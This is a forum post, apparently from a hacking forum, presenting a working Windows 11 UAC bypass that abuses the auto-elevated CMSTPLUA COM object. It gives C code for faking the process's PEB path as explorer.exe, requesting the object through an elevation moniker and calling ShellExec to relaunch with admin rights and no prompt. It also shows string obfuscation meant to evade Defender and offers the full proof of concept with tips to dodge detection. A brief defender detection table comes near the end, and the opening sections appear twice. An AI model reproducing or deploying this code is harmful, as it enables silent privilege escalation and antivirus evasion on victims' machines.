CMSTPLUA UAC Bypass - How It Actually Works
Windows 11 25H2 | No Exploits Required | Tested January 2026
★ INTRODUCTION
So for my first post on this forum, I decided to gift you with sharing a very nice UAC bypass that I use since quite a long time now... I didn't find it on the forum, so here's my contribution :
UAC (User Account Control) is supposed to prevent unauthorized privilege escalation. But Windows has a design flaw: certain Microsoft COM objects are auto-elevated, meaning they can run with admin privileges without showing a UAC prompt. CMSTPLUA is one of these trusted objects.
BUT, Windows checks if the calling process is a legitimate Microsoft binary before allowing the elevation. So we need to impersonate a trusted process.
★ WHY CMSTPLUA?
CMSTPLUA (Connection Manager Setup Tool Profile Launcher Utility Application) was designed for network connection profile management. Microsoft marked it as "safe" for auto-elevation because it's part of Windows infrastructure.
The object exposes a ShellExec method that can launch any program — and because the COM object is elevated, that program inherits admin privileges.
The attack: If we can convince Windows we're explorer.exe, we can use CMSTPLUA to launch anything as admin.
★ STEP 1: PEB MASQUERADING
Every Windows process has a Process Environment Block (PEB) — a structure in memory containing process metadata. This includes the ImagePathName field, which stores the path to the executable.
Here's the trick: the PEB lives in user-space memory, meaning our own process can modify it. We simply overwrite the ImagePathName from our actual path to C:\Windows\explorer.exe.
When Windows later checks "who is asking for elevation?", it reads our PEB and sees explorer.exe — a trusted path. The check passes.
★ STEP 2: COM ELEVATION MONIKER
Windows COM supports elevation monikers — a special syntax that requests elevated instantiation of a COM object:
When we call CoGetObject() with this moniker and the CMSTPLUA CLSID, Windows:
We now have a handle to an elevated COM object.
★ STEP 3: EXECUTE WITH PRIVILEGES
CMSTPLUA's interface includes a ShellExec method at vtable index 9. This method launches programs in the security context of the COM object — which is elevated.
We call ShellExec with our own executable path plus a flag (like -elevated), causing our program to relaunch itself, but now with admin privileges.
No UAC prompt ever appears.
★ THE COMPLETE FLOW
NOTE: We save the path before masquerading because GetModuleFileName() reads from PEB — after masquerade it would return the fake path!
★ WHY THIS BYPASSES DEFENDER
The technique avoids several detection triggers:
String obfuscation example to avoid static signatures:
★ DETECTION VECTORS (FOR DEFENDERS)
Full PoC code joined. It might get detected on compiling or runtime. You might need to obfuscate a little bit.
Windows 11 25H2 | No Exploits Required | Tested January 2026
★ INTRODUCTION
So for my first post on this forum, I decided to gift you with sharing a very nice UAC bypass that I use since quite a long time now... I didn't find it on the forum, so here's my contribution :
UAC (User Account Control) is supposed to prevent unauthorized privilege escalation. But Windows has a design flaw: certain Microsoft COM objects are auto-elevated, meaning they can run with admin privileges without showing a UAC prompt. CMSTPLUA is one of these trusted objects.
BUT, Windows checks if the calling process is a legitimate Microsoft binary before allowing the elevation. So we need to impersonate a trusted process.
★ WHY CMSTPLUA?
CMSTPLUA (Connection Manager Setup Tool Profile Launcher Utility Application) was designed for network connection profile management. Microsoft marked it as "safe" for auto-elevation because it's part of Windows infrastructure.
The object exposes a ShellExec method that can launch any program — and because the COM object is elevated, that program inherits admin privileges.
Code
CLSID: {3E5FC7F9-9A51-4367-9063-A120244FBEC7}
IID: {6EDD6D74-C007-4E75-B76A-E5740995E24C}
Method: ShellExec (vtable index 9)The attack: If we can convince Windows we're explorer.exe, we can use CMSTPLUA to launch anything as admin.
★ STEP 1: PEB MASQUERADING
Every Windows process has a Process Environment Block (PEB) — a structure in memory containing process metadata. This includes the ImagePathName field, which stores the path to the executable.
Here's the trick: the PEB lives in user-space memory, meaning our own process can modify it. We simply overwrite the ImagePathName from our actual path to C:\Windows\explorer.exe.
Code
// Access PEB via TEB (Thread Environment Block)
PEB_T* GetPEB() {
#ifdef _WIN64
return (PEB_T*)__readgsqword(0x60); // x64: GS:[0x60]
#else
return (PEB_T*)__readfsdword(0x30); // x86: FS:[0x30]
#endif
}
// Masquerade as explorer.exe
void MasqueradePEB() {
PEB_T* peb = GetPEB();
WCHAR fakePath[] = L"C:\\Windows\\explorer.exe";
// Overwrite ImagePathName
wcsncpy(peb->ProcessParameters->ImagePathName.Buffer, fakePath, MAX_PATH);
// Also overwrite CommandLine for consistency
wcsncpy(peb->ProcessParameters->CommandLine.Buffer, fakePath, MAX_PATH);
}When Windows later checks "who is asking for elevation?", it reads our PEB and sees explorer.exe — a trusted path. The check passes.
Quote:This doesn't change what binary is actually running — it just changes what the process claims to be.
★ STEP 2: COM ELEVATION MONIKER
Windows COM supports elevation monikers — a special syntax that requests elevated instantiation of a COM object:
Code
Elevation:Administrator!new:{CLSID-HERE}When we call CoGetObject() with this moniker and the CMSTPLUA CLSID, Windows:
- Checks if CMSTPLUA is in the auto-elevation whitelist ✓
- Checks if caller appears to be trusted (reads our PEB) ✓
- Creates the COM object with admin privileges
Code
// Build elevation moniker and get elevated COM object
HRESULT GetElevatedCOMObject(ICMLuaUtil** ppUtil) {
BIND_OPTS3 opts = {0};
opts.cbStruct = sizeof(opts);
opts.dwClassContext = CLSCTX_LOCAL_SERVER;
// Elevation moniker requests admin privileges
WCHAR moniker[] = L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";
// IID for ICMLuaUtil interface
IID iid = {0x6EDD6D74, 0xC007, 0x4E75, {0xB7,0x6A,0xE5,0x74,0x09,0x95,0xE2,0x4C}};
return CoGetObject(moniker, (BIND_OPTS*)&opts, &iid, (void**)ppUtil);
}We now have a handle to an elevated COM object.
★ STEP 3: EXECUTE WITH PRIVILEGES
CMSTPLUA's interface includes a ShellExec method at vtable index 9. This method launches programs in the security context of the COM object — which is elevated.
Code
// ICMLuaUtil vtable structure (partial)
typedef struct ICMLuaUtilVtbl {
// IUnknown (0-2)
HRESULT (*QueryInterface)(void*, REFIID, void**);
ULONG (*AddRef)(void*);
ULONG (*Release)(void*);
// Padding methods (3-8)
HRESULT (*Method3)(void*);
HRESULT (*Method4)(void*);
HRESULT (*Method5)(void*);
HRESULT (*Method6)(void*);
HRESULT (*Method7)(void*);
HRESULT (*Method8)(void*);
// ShellExec at index 9
HRESULT (*ShellExec)(void*, LPCWSTR exe, LPCWSTR args, LPCWSTR dir, ULONG mask, ULONG show);
} ICMLuaUtilVtbl;We call ShellExec with our own executable path plus a flag (like -elevated), causing our program to relaunch itself, but now with admin privileges.
Code
// Execute program with elevated privileges
pUtil->lpVtbl->ShellExec(pUtil, L"C:\\path\\to\\our.exe", L"-elevated", NULL, 0, SW_SHOW);No UAC prompt ever appears.
★ THE COMPLETE FLOW
Code
[1] Our process starts (non-admin)
↓
[2] Save our real path (BEFORE masquerade!)
↓
[3] Overwrite PEB to claim we're explorer.exe
↓
[4] Request CMSTPLUA via elevation moniker
↓
[5] Windows checks caller → sees "explorer.exe" → allows it
↓
[6] Call ShellExec(our_real_path, "-elevated")
↓
[7] New instance spawns WITH ADMIN PRIVILEGESCode
int main(int argc, char* argv[]) {
// Check if we're already elevated
if (argc > 1 && strcmp(argv[1], "-elevated") == 0) {
// Running elevated - do privileged operations here
printf("[+] Running with admin privileges!\n");
return 0;
}
// IMPORTANT: Save real path BEFORE masquerading
WCHAR selfPath[MAX_PATH];
GetModuleFileNameW(NULL, selfPath, MAX_PATH);
// Masquerade as explorer.exe
MasqueradePEB();
// Initialize COM
CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
// Get elevated COM object and execute
ICMLuaUtil* pUtil = NULL;
if (SUCCEEDED(GetElevatedCOMObject(&pUtil))) {
pUtil->lpVtbl->ShellExec(pUtil, selfPath, L"-elevated", NULL, 0, SW_SHOW);
pUtil->lpVtbl->Release(pUtil);
}
CoUninitialize();
return 0;
}NOTE: We save the path before masquerading because GetModuleFileName() reads from PEB — after masquerade it would return the fake path!
★ WHY THIS BYPASSES DEFENDER
The technique avoids several detection triggers:
- No cmd.exe in process tree → Direct COM/API calls
- No suspicious strings in binary → Built char-by-char at runtime
- Legitimate Windows mechanism → Using COM as designed, just lying about identity
String obfuscation example to avoid static signatures:
Code
// BAD: Detectable string in binary
WCHAR clsid[] = L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";
// GOOD: Build at runtime, no signature
void BuildCLSID(WCHAR* out) {
WCHAR p1[] = {'{','3','E','5','F','C','7','F','9','-',0};
WCHAR p2[] = {'9','A','5','1','-',0};
WCHAR p3[] = {'4','3','6','7','-',0};
WCHAR p4[] = {'9','0','6','3','-',0};
WCHAR p5[] = {'A','1','2','0','2','4','4','F','B','E','C','7','}',0};
wcscpy(out, p1);
wcscat(out, p2);
wcscat(out, p3);
wcscat(out, p4);
wcscat(out, p5);
}★ DETECTION VECTORS (FOR DEFENDERS)
| PEB vs actual binary mismatch | Process claims explorer.exe but hash doesn't match |
| CMSTPLUA spawning children | This COM object shouldn't launch arbitrary programs |
| Unsigned binaries using elevation monikers | Legitimate software doesn't typically need this |
Code
# ETW trace for COM elevation monikers
Get-WinEvent -LogName "Microsoft-Windows-Security-Auditing" |
Where-Object { $_.Message -like "*CMSTPLUA*" -or $_.Message -like "*elevation*" }Full PoC code joined. It might get detected on compiling or runtime. You might need to obfuscate a little bit.



![[Image: 3.gif]](https://i.ibb.co/zH0GQ122/3.gif)